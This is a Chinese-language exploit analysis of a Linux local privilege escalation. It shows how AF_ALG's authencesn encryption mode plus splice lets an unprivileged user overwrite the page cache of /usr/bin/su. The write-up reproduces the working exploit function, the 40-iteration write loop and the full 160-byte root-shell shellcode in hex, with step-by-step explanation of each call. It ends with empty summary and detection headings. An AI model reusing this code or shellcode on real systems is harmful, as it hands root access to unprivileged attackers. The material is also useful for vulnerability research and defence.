有人在暗处点灯,不是为了被看见,是为了让迷路的人自己找到门。
目录
0x01、漏洞原理详解
0x02、结合脚本分析利用链
0x01、漏洞原理详解
本小结将从一个比较主观的视角来分析整个漏洞的原理,首先明确如下的内容:
- 普通用户无法写入su文件的页面缓存,之所以poc能成功是利用了内核加密模块,可以理解为一个普通用户利用了内核模块的某种机制,永久改写了su文件的页面缓存,从而实现了权限提升;
- poc之所以能实现权限提升,原理是在su文件的页面缓存中写入了160B的shellcode,该shellcode包含了execve("/bin/sh"),从而获取root权限的shell;
- 该机制每次只能写入4B的内容,因此需要重复40次,每次写入4B的shellcode;
- su文件的页面缓存是全局的,因此执行一次poc脚本后,你在当前环境下的任何终端执行su命令都将直接获得root权限的终端,重启系统或者手动清除su的页面缓存后失效。
这里我不想一上来就直接给出各种术语,我想不是相关内容的研究人员估计根本看不懂,相当多的文章都在直接告诉你概念以及运行脚本的验证结果,但我相信你脑子里不会有任何的印象。因此在这里我想首先给出一些相当主观的流程以阐述一下整个过程,代码总是抽象,图片总是直观。
1、su文件的页面缓存
系统重存在一个文件叫做su,我们往往用它来获取root权限,是一个setuid root的可执行文件。poc在脚本中使用它也是看中了这一点,如果能够以它的身份执行shell,那么将直接获取root权限的shell。
当系统执行过su相关的指令,su文件将会被放入页面缓存中,我们可以使用如下命令去验证这一事实。
可以看到当前的su文件已经被页面缓存,当再次执行su相关的命令将不会从磁盘文件中读取,到这里我们搞明白了一件事情,su文件执行过后会被页面缓存。所以poc代码中的f = g.open("/usr/bin/su", 0)指向页面缓存中的su内容。
2、socket函数的设计哲学
在 Linux 的世界里,一切皆文件。网络连接、硬件设备、进程间通信,内核都用同一套接口来处理。socket()就是这套统一接口的入口。它的设计思想是:
我不关心你要和谁通信我不关心你用什么协议我只需要你告诉我三件事:1. 通信的"地址家族"是什么?(在哪个世界里通信)2. 通信的"类型"是什么?(怎么传数据)3. 具体用哪个"协议"?(用什么语言说话)
所以函数表达下来就是socket(地址家族, 类型, 协议) ,如果您写过网络通信的相关代码,对于如下的代码应该比较常见:
import socket# 创建一个 TCP 套接字# socket(地址家族, 套接字类型, 协议)s = socket.socket(2, 1, 6) # 等价于 socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP# 也可以更可读地写成:# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)# 连接到远程服务器server_address = ('example.com', 80)s.connect(server_address)# 发送 HTTP 请求s.sendall(b'GET / HTTP/1.1\r\nHost: example.com\r\n\r\n')# 接收响应data = s.recv(4096)print(data.decode())# 关闭连接s.close()
那么除了使用socket来进行网络间的通信,我们还能够用它来实现和内核加密子系统之间的通信,为什么要和内核加密子系统通信呢?我想大部分文章已经告诉您这个加密子系统存在4B的"溢出",致使能够永久写入页面缓存,最终的shellcode也是通过这种途径进行多批次的写入,当然这里直接称之为"溢出"似乎不太恰当,参考poc中的这行代码:
a = socket.socket(38, 5, 0)
第一个参数:38从哪来,"地址家族"告诉内核:你要在哪个"世界"里通信,Linux 把不同的通信世界编了号。
2 = AF_INET → IPv4网络世界(最常见,TCP/UDP)10 = AF_INET6 → IPv6网络世界1 = AF_UNIX → 本机进程间通信38 = AF_ALG → 内核加密子系统世界
当然我们能够从系统中查找到相关的一些编号的定义。
第二个参数:5 从哪来,"通信类型"告诉内核:数据怎么传输。
1 = SOCK_STREAM → 像水流一样,连续不断(TCP就用这个)2 = SOCK_DGRAM → 像发包裹一样,一个一个独立的(UDP就用这个)5 = SOCK_SEQPACKET → 像快递但保证顺序,每个包完整独立
第三个参数:0 从哪来,第三个参数是"具体协议",但是当第一个参数(地址家族)已经足够确定用什么协议的时候,第三个参数就填0,意思是"用默认的就行",所以总结就是。
a = socket.socket(38, 5, 0)# ↑ ↑ ↑# │ │ └─ 用默认协议# │ └──── 数据完整独立,有序可靠# └──────── 进入内核加密子系统的世界
总之在这里我们理解了第二件事情,普通用户可以通过socket与内核加密子系统进行通信,AF_ALG默认允许非特权用户访问,这是漏洞能被普通用户触发的前提条件。
3、authencesn的直白分析
前两节的su和socket比较常见,我们可能都是还存在一定的了解,那么authencesn到底是什么东西呢?它是AEAD的一种具体实现,代码层的实现,简单理解为就是一个函数模板。但AEAD又是什么呢?它是对加密场景的一种概念描述,当然这里又会提到IPsec协议,正常处理过程是发送IPsec报文,但是这里发送的是poc,不用管那么多。现在我们只需要搞清楚一件事情,什么数据通过什么方式发送即可。在整个漏洞的触发过程中,需要你为其提供两部分内容。首先,需要通过socket给加密子系统发送AAD数据,这个AAD你可以理解为就是个序列号,老版本32位,但是不够用,后续推出了扩展的64位,低32位人为将其命名为seqno_lo,高32位命名为seqno_hi。这里漏洞触发过程使用一句话描述:把真实的 seqno_lo从ESP报文头提取出来,写入dst[assoclen + cryptlen] 位置,后续recv验证失败不会修改tag标签的位置导致shellcode被永久写入。好了什么玩意儿,越说越懵逼,让我们通过如下的示意图描述,图片总是比文字直观。
首先你需要准备8B的数据,包含开头4B的随机填充,例如这里的\x41,其实也就是字符"A"。后续4B内容则是你的shellcode,当然这是你准备的完整的160B的shellcode的开头4B,拼接好上述数据后你将通过sendmsg函数将该数据通过socket发送到加密子系统进行处理,你并不用管到底是怎么处理的,只需要在脑海中明白,你发送了一个由4B的随机填充和4B的shellcode组成的8B数据即可。这是本小结的第一件需要搞明白的事情。
既然已经构造了8B包含shellcode的输入,目标又是将shellcode写入su的页面缓存,那么第二部分数据自然就是获取su的引用,即修改目标。这在poc代码中通过pipe和splice函数实现,当然怎么实现的并不重要,只需要清楚通过这两个函数能够将su的引用也发送到加密子系统进行处理即可。两部分数据都清晰了,现在让我们分析加密子系统中数据位置的变化,理解数据位置的变化您将能够更加容易的理解shellcode为什么能永久写入su的页面缓存这个问题。首先我们将poc中构造的shellcode解压一下。
OK,开始绘制整个流程。
每次我们手动拼接4B的随机字符和4B的shellcode,同时使用splice读取su页面缓存的引用,通过recv函数去加解密数据时,4B的shellcode被写入tag位,刚好此时tag的指针刚好又是su页面缓存的引用指针,两者重合,修改了su的页面缓存内容,随后加解密失败,不过此时已经写入了。这里有一个计算公式:
代表每次写入su缓存的位置。例如图中的第一次(t=0),拼接4B的随机字符和4B的shellcode,并构造指向su缓存的前4B内容的引用,将其放到4Bshellcode"相邻"的位置。此时对照计算公式写入位置是dst[8+0]=dst[8]也指向shellcode"相邻"的位置,所以第一次直接将4字节的shellcode写入了su缓存的前4B。第二次依旧拼接4B的随机字符和4B的shellcode,构造指向su缓存的前8B内容的引用,注意由于第一次的操作,此时su缓存的前8B内容的前4B已经被修改为第一次的shellcode,依旧将8B的内容放到4Bshellcode"相邻"的位置。此时对照计算公式写入位置是dst[8+4]=dst[12],指向8B su文件缓存中被第一次操作写入的末尾位置,其实也就是将已经被第一次修改的su缓存内容当做了cryptdata,8B的su文件内容的最后authsize=4字节被authencesn当作认证标签来验证。此时调用recv(8+4)触发tag区域的写入,导致su缓存后续4B再次被写入新的shllcode。如此反复40次,最终将160B的shellcode完全写入。
4、部分代码分析
accept() 的设计哲学,把socket()比喻成"打开一扇门",AF_ALG的设计是两层结构:
第一层:配置套接字(门) socket() → bind() → setsockopt() 这一层只负责配置:用什么算法、密钥是什么、authsize多大第二层:实际使用(进门干活) accept() → 返回一个新的fd 这一层负责真正的加密/解密操作
为什么要分两层?因为同一个配置可以被多个操作复用。就像一把锁配好之后,可以开关很多次。
a(配置层)├── accept() → u(操作层1,用于第1次加密)├── accept() → u(操作层2,用于第2次加密)└── accept() → u(操作层3,用于第3次加密)
PoC里只需要一个操作层,所以只调用一次accept()。现在看最核心的循环:
f = open("/usr/bin/su", 0)i = 0e = zlib.decompress(...) # 160字节shellcodewhile i < len(e): c(f, i, e[i:i+4]) # 每次写4字节 i += 4
每次循环调用函数c(),传入三个参数:
f → /usr/bin/su 的文件描述符i → 当前写入的偏移量(0, 4, 8, 12...)e[i:i+4] → shellcode的第i到i+3字节(4字节)
完整的c函数代码如下:
def c(f, t, c): a = socket.socket(38, 5, 0) a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) h = 279 v = a.setsockopt v(h, 1, d('0800010000000010' + '0' * 64)) v(h, 5, None, 4) u, _ = a.accept() o = t + 4 i = d('00') u.sendmsg([b"A"*4 + c], [(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)], 32768) r, w = os.pipe() n = os.splice n(f, w, o, offset_src=0) n(r, u.fileno(), o) try: u.recv(8 + t) except: 0
其中参数含义:
f → 目标文件fd(/usr/bin/su)t → 目标偏移量(写入位置)c → 要写入的4字节数据(shellcode片段)
接着分析sendmsg()这行:
u.sendmsg( [b"A"*4 + c], [(h, 3, i*4), (h, 2, b'\x10'+i*19), (h, 4, b'\x08'+i*3)], 32768)第1个参数:实际数据第2个参数:控制消息(辅助数据)第3个参数:flags标志
第1个参数:[b"A"*4+c]:
b"A"*4 = b"\x41\x41\x41\x41" ← 4字节AADc ← 4字节shellcode片段(这就是seqno_lo!)
authencesn会把AAD的第4-7字节(也就是c)作为seqno_lo写入越界位置。攻击者把想写入页面缓存的值放在这里。
第2个参数:控制消息,这是三个辅助数据,告诉内核这次操作的参数:
(h, 3, i*4) → ALG_SET_OP=3, 值=0 → 操作类型:解密(ALG_OP_DECRYPT=0)(h, 2, b'\x10'+i*19) → ALG_SET_IV=2, 值=16字节全0 → 初始向量IV(h, 4, b'\x08'+i*3) → ALG_SET_AEAD_ASSOCLEN=4, 值=8 → AAD长度=8字节
为什么AAD长度是8?
AAD = b"A"*4 + c = 8字节assoclen = 8 ← 必须和实际AAD长度一致
第3个参数:32768, 告诉内核"数据还没发完,等splice()再补充密文和Tag"。
现在看splice()的两行:
o = t + 4 # o = 目标偏移 + 4r, w = os.pipe() # 创建管道n = os.splicen(f, w, o, offset_src=0) # splice 1:文件→管道n(r, u.fileno(), o) # splice 2:管道→AF_ALG
最后将整个函数c()的执行流程完整串联:
socket(38,5,0) → AF_ALG=38 是内核加密子系统的地址家族编号 → SOCK_SEQPACKET=5 是有序可靠的数据包类型bind(("aead","authencesn(hmac(sha256),cbc(aes))")) → aead 是带认证标签的加密类型 → authencesn 是有ESN越界写入漏洞的封装器setsockopt(279, 1, 密钥) → SOL_ALG=279 是ALG层面的配置 → ALG_SET_KEY=1 设置加密密钥 → 密钥格式:[RTA属性头enckeylen=16][32字节全0密钥]setsockopt(279, 5, None, 4) → ALG_SET_AEAD_AUTHSIZE=5 设置Tag长度=4字节sendmsg([b"A"*4 + payload], 控制消息, MSG_MORE) → AAD后4字节=payload 就是seqno_lo,也是要写入的值 → 控制消息设置:op=解密, iv=全0, assoclen=8splice(文件→管道→AF_ALG) → 把页面缓存页的引用传入AF_ALG输入 → 没有复制,传的是指针recv() 触发解密 → authencesn越界写入seqno_lo到页面缓存 → HMAC失败,异常被吞掉 → 写入永久存在,磁盘不变
0x02、结合脚本分析利用链
sendmsg和splice是两个独立的操作,内核怎么把它们拼在一起?
python3 -c "print('=== AF_ALG接收数据的机制 ===')print()print('sendmsg发送的是:AAD部分')print(' [AAAA][payload] = 8字节')print(' 这8字节告诉内核:')print(' - 我要做解密')print(' - AAD是这8字节')print(' - MSG_MORE标志:数据还没完,等后续')print()print('splice发送的是:密文+Tag部分')print(' 从su文件读o字节,通过管道传给AF_ALG')print(' 这o字节告诉内核:')print(' - 这是密文和Tag')print(' - 数据来自su的页面缓存')print()print('内核收到这两部分后,拼成完整的AEAD输入:')print(' [AAD 8字节] + [密文+Tag o字节]')print(' sendmsg的部分 splice的部分')print()print('问题:splice传的是su文件的哪个部分?')print('答案:offset_src=0,永远从文件偏移0开始')print(' 但读o字节,o每次递增4')print()print('所以SGL里:')print(' dst[0:8] = sendmsg的AAD(用户缓冲区)')print(' dst[8:8+o] = splice的文件数据(页面缓存)')print()print('write_pos = assoclen + cryptlen = 8 + (o-4) = 4+o')print('文件写入偏移 = write_pos - 8 = o - 4 = t')"
splice是如何把页面缓存页放入SGL的,这个过程里数据是怎么流动的?
python3 -c "print('=== 第一层:splice(f, w, o) 文件→管道 ===')print()print('普通的管道写入(write):')print(' 从文件读数据 → 复制到管道缓冲区')print(' 管道缓冲区里有数据的副本')print()print('splice的管道写入:')print(' 不复制数据')print(' 只在管道缓冲区里记录一个引用:')print(' {文件: su, 页: 第0页, 偏移: 0, 长度: o}')print(' 管道缓冲区里没有数据,只有这个描述符')print()print('=== 第二层:splice(r, alg_fd, o) 管道→AF_ALG ===')print()print('AF_ALG收到管道里的引用后:')print(' 不复制数据')print(' 直接把引用加入TX SGL:')print(' TX SGL条目:{指向: su页面缓存第0页, 偏移: 0, 长度: o}')print()print('=== 第三层:内核构建输出SGL(就地操作的关键)===')print()print('sendmsg提供的TX SGL(AAD部分):')print(' 条目1:{指向: 用户缓冲区, 偏移:0, 长度:8} = AAD')print()print('splice提供的TX SGL(密文+Tag部分):')print(' 条目2:{指向: su页面缓存, 偏移:0, 长度:o}')print()print('完整TX SGL = 条目1 + 条目2')print(' 物理内存布局:')print(' [用户缓冲区AAD] → [su页面缓存]')print()print('就地操作:req->dst = req->src = TX SGL')print('authencesn拿到的dst就是这个TX SGL')print('dst[0:8] = 用户缓冲区(AAD)')print('dst[8:8+o] = su页面缓存(直接是原件!)')"
shellcode需要写入su的.text段,.text段在文件偏移0x3940处,但splice每次从文件偏移0开始读,怎么能写到0x3940?
python3 -c "print('=== 问题:shellcode要写入.text段 ===')print()print('su文件布局:')print(' 偏移 0x0000 ~ 0x3940: ELF头、段表等')print(' 偏移 0x3940 ~ 末尾: .text段(机器码)')print()print('PoC里shellcode是160字节的微型ELF')print('它从文件偏移0开始写,不是从0x3940开始')print()print('也就是说:')print(' PoC把整个su文件的前160字节替换成了微型ELF')print(' 从ELF头开始覆盖,不只是覆盖.text段')print()# 验证:看shellcode是完整ELFshellcode_hex = '7f454c4602010100000000000000000002003e00010000007800400000000000400000000000000000000000000000000000000040003800010000000000000001000000050000000000000000000000000040000000000000004000000000009e000000000000009e00000000000000001000000000000031c031ffb0690f05488d3d0f00000031f66a3b58990f0531ff6a3c580f052f62696e2f7368000000'shellcode = bytes.fromhex(shellcode_hex)print('shellcode的ELF头分析:')print(f' 魔数: {shellcode[0:4].hex()} = ELF')print(f' 类型: {int.from_bytes(shellcode[16:18],\"little\")} = ET_EXEC可执行文件')print(f' 入口点: 0x{int.from_bytes(shellcode[24:32],\"little\"):x}')print(f' 总大小: {len(shellcode)} 字节')print()print('所以PoC的策略不是:')print(' 找到.text段,在里面注入shellcode')print('而是:')print(' 直接把su文件的前160字节替换成一个全新的微型ELF')print(' 这个微型ELF本身就是一个完整的可执行程序')print()print('当execve(\"/usr/bin/su\")被调用时:')print(' 内核读页面缓存里的ELF头')print(' 发现入口点是0x400078')print(' 加载并执行这个微型ELF')print(' 微型ELF执行setuid(0)+execve(\"/bin/sh\")')"

对比修改后的su文件和原始的su文件。
python3 -c "# 微型ELF的入口点是0x400078# 这是一个绝对地址,意味着这个ELF需要被加载到0x400000处# 但su原来的ELF是PIE(位置无关可执行文件)# 内核会把su加载到随机地址(ASLR)# 我们来看su原来的ELF头with open('/usr/bin/su', 'rb') as f: data = f.read(64)import structe_type = struct.unpack_from('<H', data, 16)[0]e_entry = struct.unpack_from('<Q', data, 24)[0]e_flags = struct.unpack_from('<H', data, 18)[0]print(f'su原始ELF类型: {e_type}')print(f' 2=ET_EXEC(固定地址), 3=ET_DYN(PIE随机地址)')print(f'su原始入口点: 0x{e_entry:x}')print()# 微型ELFshellcode_hex = '7f454c4602010100000000000000000002003e00010000007800400000000000400000000000000000000000000000000000000040003800010000000000000001000000050000000000000000000000000040000000000000004000000000009e000000000000009e00000000000000001000000000000031c031ffb0690f05488d3d0f00000031f66a3b58990f0531ff6a3c580f052f62696e2f7368000000'mini_elf = bytes.fromhex(shellcode_hex)mini_type = struct.unpack_from('<H', mini_elf, 16)[0]mini_entry = struct.unpack_from('<Q', mini_elf, 24)[0]print(f'微型ELF类型: {mini_type}')print(f' 2=ET_EXEC(固定地址加载到0x400000)')print(f'微型ELF入口点: 0x{mini_entry:x}')print()print('关键问题:')print('su原来是ET_DYN(PIE),加载地址随机')print('覆盖ELF头后变成ET_EXEC,内核固定加载到0x400000')print('入口点0x400078 = 0x400000基址 + 0x78偏移')print('0x78 = 120字节 = ELF头(64) + Program Header(56)')print('也就是说机器码紧跟在ELF头之后')"

验证微型ELF的完整内存布局,确认机器码确实在0x78偏移处:
python3 -c "import structshellcode_hex = '7f454c4602010100000000000000000002003e00010000007800400000000000400000000000000000000000000000000000000040003800010000000000000001000000050000000000000000000000000040000000000000004000000000009e000000000000009e00000000000000001000000000000031c031ffb0690f05488d3d0f00000031f66a3b58990f0531ff6a3c580f052f62696e2f7368000000'mini_elf = bytes.fromhex(shellcode_hex)print('=== 微型ELF完整布局 ===')print()print('ELF Header (64字节, 偏移0x00~0x3f):')print(f' 魔数: {mini_elf[0:4].hex()} = ELF')print(f' 类型: {struct.unpack_from(\"<H\",mini_elf,16)[0]} = ET_EXEC')print(f' 入口点: 0x{struct.unpack_from(\"<Q\",mini_elf,24)[0]:x}')print(f' PH偏移: 0x{struct.unpack_from(\"<Q\",mini_elf,32)[0]:x}')print(f' PH数量: {struct.unpack_from(\"<H\",mini_elf,56)[0]}')print()print('Program Header (56字节, 偏移0x40~0x77):')ph_offset = struct.unpack_from('<Q', mini_elf, 32)[0]print(f' 类型: {struct.unpack_from(\"<I\",mini_elf,ph_offset)[0]} = PT_LOAD')print(f' 文件偏移: 0x{struct.unpack_from(\"<Q\",mini_elf,ph_offset+8)[0]:x}')print(f' 虚拟地址: 0x{struct.unpack_from(\"<Q\",mini_elf,ph_offset+16)[0]:x}')print(f' 文件大小: 0x{struct.unpack_from(\"<Q\",mini_elf,ph_offset+32)[0]:x}')print(f' 内存大小: 0x{struct.unpack_from(\"<Q\",mini_elf,ph_offset+40)[0]:x}')print()print('机器码 (偏移0x78~末尾):')code = mini_elf[0x78:]print(f' 内容: {code.hex()}')print()print('=== 执行流程 ===')print('1. execve(\"/usr/bin/su\")')print('2. 内核读页面缓存里的ELF头,发现ET_EXEC类型')print('3. 按Program Header加载:文件偏移0x00开始,映射到虚拟地址0x400000')print('4. 入口点0x400078 = 0x400000 + 0x78')print('5. CPU跳转到0x400078,执行机器码')print('6. setuid(0) → execve(\"/bin/sh\") → root shell')"

总结完整的攻击链:
执行阶段和检测: